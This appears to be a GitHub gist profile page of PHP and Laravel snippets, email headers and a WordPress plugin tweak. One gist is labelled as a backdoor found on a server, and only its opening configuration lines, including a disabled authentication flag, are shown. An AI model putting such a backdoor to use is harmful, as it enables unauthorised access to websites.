Skip to content

Instantly share code, notes, and snippets.

View abfan1127's full-sized avatar

Eric abfan1127

View GitHub Profile
// in Controller
$form = $this->createForm(new Type\AnimalAdminType($animal), $animal);
// in AnimalAdminType
$builder->add('animal_photos', 'collection', array(
'type' => new \Fftdev\RescueBundle\Form\Type\AnimalPhotoAdminType(),
'allow_add' => true,
'allow_delete' => true,
'by_reference' => false,
));
Delivered-To: eric.cope@gmail.com
Received: by 10.46.74.25 with SMTP id x25csp1648758lja;
Mon, 23 Apr 2018 10:24:21 -0700 (PDT)
X-Google-Smtp-Source: AB8JxZr0rSsGpxCxOK2aJqgoQ9/fEYGwv/MzKU5Vd8IkEoWflOvqe26A42HUaBY1ny1Az1QtU44Q
X-Received: by 2002:a24:67d7:: with SMTP id u206-v6mr15098019itc.138.1524504261621;
Mon, 23 Apr 2018 10:24:21 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1524504261; cv=none;
d=google.com; s=arc-20160816;
b=AmbWf5eiXTnK7gWZuTfjG/k0AU3VswVrLKVRw58vH0Fv1ccvrDHpxL5vbI4E9T7QxD
tmSe0m8dtHTVjdspyWFJ/1Wtq/wIgz9UDbBM6pRJ60i6COehVRRIObccyvyz76kZWHkr
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:WordDocument>
<w:Zoom>0</w:Zoom>
<w:TrackMoves>false</w:TrackMoves>
<w:TrackFormatting/>
<w:PunctuationKerning/>
@abfan1127
abfan1127 / connector.php
Created July 12, 2016 05:56
fckeditor config check
<?php
require(realpath(__DIR__ . '/../../../../../../vendor/autoload.php'));
require('./config.php') ;
require('./util.php') ;
require('./io.php') ;
require('./basexml.php') ;
require('./commands.php') ;
require('./phpcompat.php') ;
@abfan1127
abfan1127 / gist:8775304
Created February 2, 2014 21:36
Laravel Eloquent whereHas Escapes numeric breaking sqlite count(...) > ?
public function getFeaturedProducts_DOESNTWORK_WITH_SQLITE($storeId, $limit = 1)
{
$query = $this->product->newInstance()
->where('store_id', $storeId)
->limit($limit)
->with(
array(
'productMedia' => function ($query) {
/**
* we can't limit it because it gets all of the media at once
@abfan1127
abfan1127 / gist:8714917
Created January 30, 2014 18:09
Eloquent example
// http://help.laravel.io/057572a2437e89584b95082c178617e8d5fd934b
$ticketResult = $this->getInvoiceTickets()->with( array(
'getTicket' => function ($query) {
$query->sum('costs')->as('costs); // check the sum method in the Eloquent Builder source file
}
))->get()->first();
echo $ticketResult->getTicket; // or whatever the design pattern is
@abfan1127
abfan1127 / gist:8642649
Created January 27, 2014 02:59
Laravel 4 File Download Integration Test
public function testDownloadPass()
{
// this is just my file repository, to generate the path
$path = $fileRepo->path('test.txt');
// create the file
file_put_contents($path, 'twoseventwo');
// more logic here as needed
// call needs the path, I use the Route helper to get it by name
@abfan1127
abfan1127 / wp-qsjgo.php
Created December 12, 2013 07:09
backdoor I found on a server.
<?php
$language='eng';
$a = "http://"; // need some codes
// ?????????????? | Authentification
// $auth = 1; - ?????????????? ???????? ( authentification = On )
// $auth = 0; - ?????????????? ????????? ( authentification = Off )
$auth = 0;
@abfan1127
abfan1127 / gist:6606119
Created September 18, 2013 08:12
An update to the "Rotating Tweets" Wordpress plugin. Instead of taking a single twitter screen name, now I space-delimit as many as I wish. Then I loop around them. Finally I sort them by date via the usort function and its related callback.
$screen_names = explode(' ',$tw_screen_name);
$twitterjsons = array();
foreach($screen_names as $screen_name) {
$apioptions = array('screen_name'=>$screen_name,'include_entities'=>1,'count'=>10,'include_rts'=>$tw_include_rts,'exclude_replies'=>$tw_exclude_replies);
if($tw_search) {
$apioptions['q']=$tw_search;
$twitterdata = rotatingtweets_call_twitter_API('search/tweets',$apioptions);
} elseif($tw_get_favorites) {
$twitterdata = rotatingtweets_call_twitter_API('favorites/list',$apioptions);
} elseif($tw_list) {